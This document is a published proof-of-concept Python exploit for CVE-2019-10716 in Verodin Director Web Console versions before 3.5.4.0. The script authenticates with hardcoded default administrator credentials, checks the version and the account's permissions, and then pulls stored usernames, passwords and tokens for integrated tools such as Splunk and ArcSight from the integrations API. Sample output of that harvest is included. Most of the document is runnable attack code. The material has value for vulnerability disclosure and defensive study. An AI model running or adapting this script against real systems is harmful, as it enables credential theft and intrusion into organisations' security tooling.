Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)

#  Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)
#  Discovery Date: 2019-01-31
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Vendor Homepage: https://www.verodin.com/
#  Software Link : https://www.verodin.com/demo-request/demo-request-form
#  Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1
#  Tested On: Windows
#  CVE: CVE-2019-10716
#  Vulnerability Type: Sensitive Data Disclosure
###
# Description: Verodin Director's REST API allows authenticated users to query the configuration
#       details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail).
#       Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin). 
#
#       API Request: GET https://<director-ip>/integrations.json
#
# Usage: python3 script.py
#
# Example Output:
#
#       -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) --
#	-- Author: Nolan B. Kennedy (nxkennedy) --
#
#
#       [+] Director Version
#       =====================
#       [*] Detected version 3.5.1.0 is VULNERABLE! :)
#
#
#       [+] Account Permissions
#       ========================
#       [*] "[email protected]" is a member of "System Admin"
#
#
#       [+] Verodin Integrations
#       =========================
#       [*] Product: splunk
#       [*] Username: splunk_svc_acct
#       [*] Misc (may include credentials): [{'scheme': 'https', 'basic': False, 'password': 'Sup3rP@ssw0rd',
#       'port': 8089, 'host': '10.0.0.6', 'username': 'splunk_svc_acct'},
#       {'proxy_hash': None}]
#
#       [*] Product: arcsight
#       [*] Username: arcsight_admin
#       [*] Misc (may include credentials): ['10.0.0.7', 8443, 'https', 'arcsight_admin', 'Sup3rP@ssw0rd',
#       "/All Filters/Personal/integration_user's filters/Verodin Filter", 'Verodin Query Viewer', 60]
#
#       [+] Done!
###

import base64
from distutils.version import LooseVersion
import json
import re
import ssl
from sys import exit
from time import sleep
import urllib.request




verodin_ip = '0.0.0.0'
# Default System Admin creds. Worth a try.
username = '[email protected]'
password = 'Ver0d!nP@$$'
base_url = 'https://{}'.format(verodin_ip)
fixed_version = '3.5.4.0'


# We'll be making 3 different requests so we need a web handling function
def requests(target, html=False):

        url = base_url + target
        context = ssl._create_unverified_context() # so we don't get an ssl cert error
        req  = urllib.request.Request(url)
        credentials = ('{}:{}'.format(username, password))
        encoded_credentials = base64.b64encode(credentials.encode('ascii'))
        req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) # use %s instead of format because errors
        r = urllib.request.urlopen(req, context=context)
        content = r.read().decode('utf-8')
        if r.getcode() == 200:
                # we don't always get a 401 if auth fails
                if 'Cookies need to be enabled' in content: 
                        print('[!] Failed to retrieve data: Credentials incorrect/invalid')
                        print()
                        print('[!] Exiting...')
                        exit(1)
                elif html:
                        blob = content
                else:
                        blob = json.loads(content)
                return blob
        elif r.getcode() == 401:
                print('[!] Failed to retrieve data: Credentials incorrect/invalid')
                print()
                print('[!] Exiting...')
                exit(1)
        else:
                print('[!] ERROR: Status Code {}'.format(r.getcode()))
                exit(1)
                

# Do we have permissions to retrieve the creds? 
def getUserPerms():

	target = '/users/user_prefs.json'
	r = requests(target) # returns a single json dict
	print('\n[+] Account Permissions')
	print('========================')
	group_id = r['user_group_id']
	roles = {'Reporting': 4, 'Users': 3, 'Power Users': 2, 'System Admin': 1}
	for role,value in roles.items():
		if group_id == value:
			print('[*] "{}" is a member of "{}"'.format(username, role))
			print()
			if group_id == 4:
				print('[!] This account does not have sufficient privs. You need "Users" or higher.')
				print()
				print('[!] Exiting...')
				exit(1)
	sleep(0.5)
	

# We need to verify the target Director is running a vulnerable version
def checkVuln():

	target = '/settings/system'
	r = requests(target, html=True)
	field = re.search(r'Director\sVersion:.*', r)
	version = field.group().split('<')[0].split(" ")[2]
	print('\n[+] Director Version')
	print('=====================')
	if LooseVersion(version) < LooseVersion(fixed_version):
		print('[*] Detected version {} is VULNERABLE! :)'.format(version))
		print()
	else:
		print('[!] Detected version {} is not vulnerable. Must be < {}'.format(version, fixed_version))
		print()
		print('[!] Exiting...') 

	sleep(0.5)
	

# Where we parse out any creds or other useful info 
def getLoot():

        target = '/integrations.json'
        r = requests(target)  # a list of json dicts
        print('\n[+] Verodin Integrations')
        print('=========================')
        if not r:
                print('[+] Dang! No integrations configured in this Director :(')
                print()
        else:
                for integration in r:
                        product = integration['package_name'] # constant key
                        misc = integration.get('new_client_args') # we use .get to return a None type if the key doesn't exist
                        user = integration.get('username')
                        passw = integration.get('password')
                        token = integration.get('auth_token')
                        print('[*] Product: {}'.format(product))
                        if user:
                                print('[*] Username: {}'.format(user))
                        if passw:
                                print('[*] Password: {}'.format(passw))
                        if token and token is not 'null':
                                print('[*] Auth Token: {}'.format(token))
                        if misc:
                                print('[*] Misc (may include credentials): {}'.format(misc))
                        print()
        sleep(0.5)


def main():

	print('\n-- Verodin Director Web Console < v3.5.4.0 - Remote Authenticated Password Disclosure (PoC) --'.upper())
	print('-- Author: Nolan B. Kennedy (nxkennedy) --')
	print()
	checkVuln()
	getUserPerms()
	getLoot()
	print('[+] Done!')
			
		
if __name__ == '__main__':
	main()